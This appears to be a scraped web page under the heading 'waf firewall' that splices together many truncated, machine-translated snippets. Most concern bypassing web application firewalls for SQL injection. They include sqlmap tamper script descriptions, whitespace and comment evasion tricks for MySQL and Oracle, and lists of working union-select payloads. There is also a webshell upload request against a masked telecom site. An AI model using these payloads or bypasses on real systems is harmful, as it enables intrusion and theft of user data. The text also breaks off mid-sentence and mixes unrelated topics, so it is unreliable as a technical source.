waf firewall

Introduction:First of all, we should all know the function and principle of WAF, the market is basically using Nginx+lua to do, here is no exception. But slightly different, the logic is not in Lua.Instead of using Elasticsearch for analysis, LUA only uses the analyzed IP address to block, greatly reducing the direct interruption caused by false positives and other failures.The architecture diagram is as follows:You can get the following useful data:1

||RootMySQL>Select{x (name)}from{x (Manager)}; + -- ------+ | | + -- ------+ | Admin | + -- ------+ 1 inch Set (0.00 sec)You can play it like this, remove the spaceIt's OK to use parentheses! as : Select (host) from (MySQL. User ); SELECT (Unhex (Unhex (333532453335324533323335)));The rules of certain WAF are matched directly with parenthesesSelect {x+table_name} fromhttps://twitter.com/Black2Fan/status/564746640138182656Http://dev.mysql.com/doc/re

Tags: single quotes english reading Google Kung fuSqlmap's Tamper directory has 41 scripts to bypass the WAF, and the online an article briefly describes how to use them, but it simply says a few of them. I use the documentation comments of these 41 scripts to simply mark each of their functions, or as before, Google Translate and then manually polished. In fact, there are examples of document comments, look at a glance will probably know the effect,

"--" followed by a random string and a newline character to replace the whitespace space2hash.py with the pound notation "#" followed by a random string and a newline character to replace the whitespace space2morehash.py with the pound notation "#" followed by a random string and a newline character to replace the whitespace space2mssqlblank.py replacing whitespace with random whitespace characters from a valid set of alternate character sets space2mssqlhash.py with the pound notation "#" follo

Purchase Web application firewall? You must consider these questions (1) Web Application Firewall is a complex product. In this article, expert Brad Causey describes the key issues that enterprises need to consider before purchasing WAF products. To ensure the security of Web applications, multiple layers of security defense are required. The most important thin

In this article, I will share with you several WAF bypass skills. For some tips that everyone knows, such :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel. Mysql: Tips1: Magic '(the controller of the output table in the format) Space and some regular expressions. mysql>select`version`() ->; +----------------------+ |`version`()| +----------------------+ |5.1.50-community-log| +-------------------

I have studied waf at home and abroad. Share some amazing tricks. Some skills that everyone knows are as follows :/*! */, SELECT [0x09, 0x0A-0x0D, 0x20, 0xA0] xx FROM does not recreate the wheel. MysqlTips1: Magic '(the controller of the output table in the format) Space and some regular expressions. mysql> select`version`() -> ; +----------------------+ | `version`() | +----------------------+ | 5.1.50-community-log | +-------------

Download the System.Windows.Interactivity.dll file and introduce it into the project (as you can see in the reference list of the VS project).Using the DLL in XAMLXmlns:i= "Clr-namespace:system.windows.interactivity;assembly=system.windows.interactivity"get focus, lose focus event for TextBox control -TextBoxText= "Test"> i:interaction. Triggers> I:eventtriggerEventName= "LostFocus"> i:invokecommandactionCommand="{Binding Relativesource={relativesource ancestortype=window},p

--with-zlib=. /zlib-1.2.8--with-openssl=. /openssl-fips-2.0.10--add-module=. /naxsi-master/naxsi_src Make sudo make install CP ~/naxsi-master/naxsi_config/naxsi_core.rules/usr/local/nginx/conf/ Cd/usr/local/nginx/conf Vim Mysite.rules The contents are as follows: #------------------------ #LearningMode; #Enables Learning Mode secrulesenabled; #SecRulesDisabled; Deniedurl "/requestdenied"; # # Check Rules Checkrule "$SQL >= 8" BLOCK; Checkrule "$RFI >= 8" BLOCK; Checkrule "$TRAVERSAL >= 4" BLOCK;

/addslashes feature —————————————————————————— –equaltolike.pylike instead of equals example:* input:select * from Users where Id=1* Output:select * from the users where id like 1Tested against:* Microsoft SQL Server 2005* MySQL 4, 5.0 and 5.5 —————————————————————————-keyword before comment halfversionedmorekeywords.pyexample:* input:value ' UNION all SELECT CONCAT (CHAR (58,107,112,113,58), Ifnull (CAST (Current_User () as Char), char (+)), char (58,97,110,121,58)), NULL, null# and ' qdwa ' =

%0a1,2,3/*uyg.php?id=1/**/union%a0select/**/1,pass,3 ' A ' from ' users 'Uyg.php?id= (0) union (SELECT (TABLE_SCHEMA), TABLE_NAME, (0) from (information_schema.tables) have ((Table_schema) Like (0x74657374) (table_name)! = (0x7573657273))) #Uyg.php?id=union (select (version ()))--uyg.php?id=123/*! UNION ALL Select version () */--Uyg.php?id=123/*!or*/1=1;uyg.php?id=1+union+select+1,2,3/*uyg.php?id=1+union+select+1,2,3--uyg.php?id=1+union+select+1,2,3#uyg.php?id=1+union+select+1,2,3;%0 0Uyg.php?i

China Telecom Jiangxi main site can be accessed by getshell over waf Verify getshell Address: http ://**. **. **. **/res/active/4G/upload. jsp (login required) Upload Vulnerability is also installed with security software, so I killed all my horsesHowever, this is not the focus.Upload pony first POST http://**.**.**.**/AttachmentServlet?backUrl=/service/upload/img_upload.jsp HTTP/1.1Host: **.**.**.**Connection: keep-aliveContent-Length: 1912Cache-Cont

Original address: http://bbs.10hst.com/viewthread.php? Tid = 39 extra = page % 3D1====== Bypass the anti-injection system, including the test code of WAF ======Solution 1: Replace the space in the test code with/**/or + (Note:/**/and + do not perform url encoding)? To copy the Code as it is, double-click the code and right-click the code to copy it. 010203 For example, id = 1 or 1 = 1Id = 1/**/or/**/1 = 1Id = 1 + or + 1 = 1

SQL Injection for DBA permissions on the WAF web game main site (only two databases of the current database are viewed, with more than 2 million user information) Web game master site DBA permission SQL injection (tens of millions of user information, recharge records, novice card leakage) (involving well-known games such as the wild, storm, and Master) Web Game Web site: http://www.wa3.com/It says: Wow web games, the most distinctive web game platfor

Tips:Injection point used: Support Union can error support multi-line execution, executable system command, HTTP request, and other advantages other than the above type, you may need a brute force guess. When you are guessing, you may encounter some limitations. All the attackers have to do is break them up. 1. Binary is typically used to find a single character by bypassing the greatest function, which cannot be used to guess the size of a symbol. Mysql> Select ASCII (Mid (User (),) SQL Injecti

0x01 backgroundOracle is similar to MySQL features, semi-automated fuzz, recording results.0x02 Test Position One: The position between the parameter and the Union1) White space charactersThe white space characters available in Oracle are:%00%09%0a%0b%0c%0d%202) Comment Symbol/**/3) Other characters%2e. Point numberPosition two: The position between union and select1) White space charactersThe white space characters available in Oracle are:%00%09%0a%0b%0c%0d%202) Comment Symbol/**/Position three

A few days ago also to everyone said Web application firewall, including software and hardware, today, Internet Ranger to recommend a product, of course, this is the second one, is: Web page tamper-proof +web application firewall. More features, okay, nonsense do not say, the text begins: Installation is skipped, I believe that the people interested in this article can be configured according to the instru

Core ConceptsWAFWeb application Firewall (Web application Firewall), or WAF.Web attacksAttacks initiated against web apps, including but not limited to the following types of attacks: SQL injection, XSS cross-site, Webshell upload, Command injection, illegal HTTP protocol request, unauthorized file access, and more.waf--attacks against web apps, including but not limited to the following types of attacks: S

Request Forgery, malicious scanning, website phishing and other Web attacks and protection are also attracting more and more attention in the industry. In the face of so many Web security threats, what protection measures do we need? Is traditional protection methods still feasible? Firewalls, anti-virus, and IDS/IPS are all widely used traditional Web security protection measures, especially the deployment of firewalls, blocking most attacks from the network layer, however, in the face of the

established accept. Firewall may be wrong, please correct) 2) male Note: The SYN/ACK package is only a packet marked with 1 as SYN and ACK. (3) Male ----> [ACK] -----> femaleThe boy received the SYN/ACK packet and sent a confirmation packet (ACK), notifying the girl to establish a link and finished three handshakes. ------ Haha I caught up ~~~ (4) male Result: The connection is reset, the reliable link is not established successfully, and the MM is n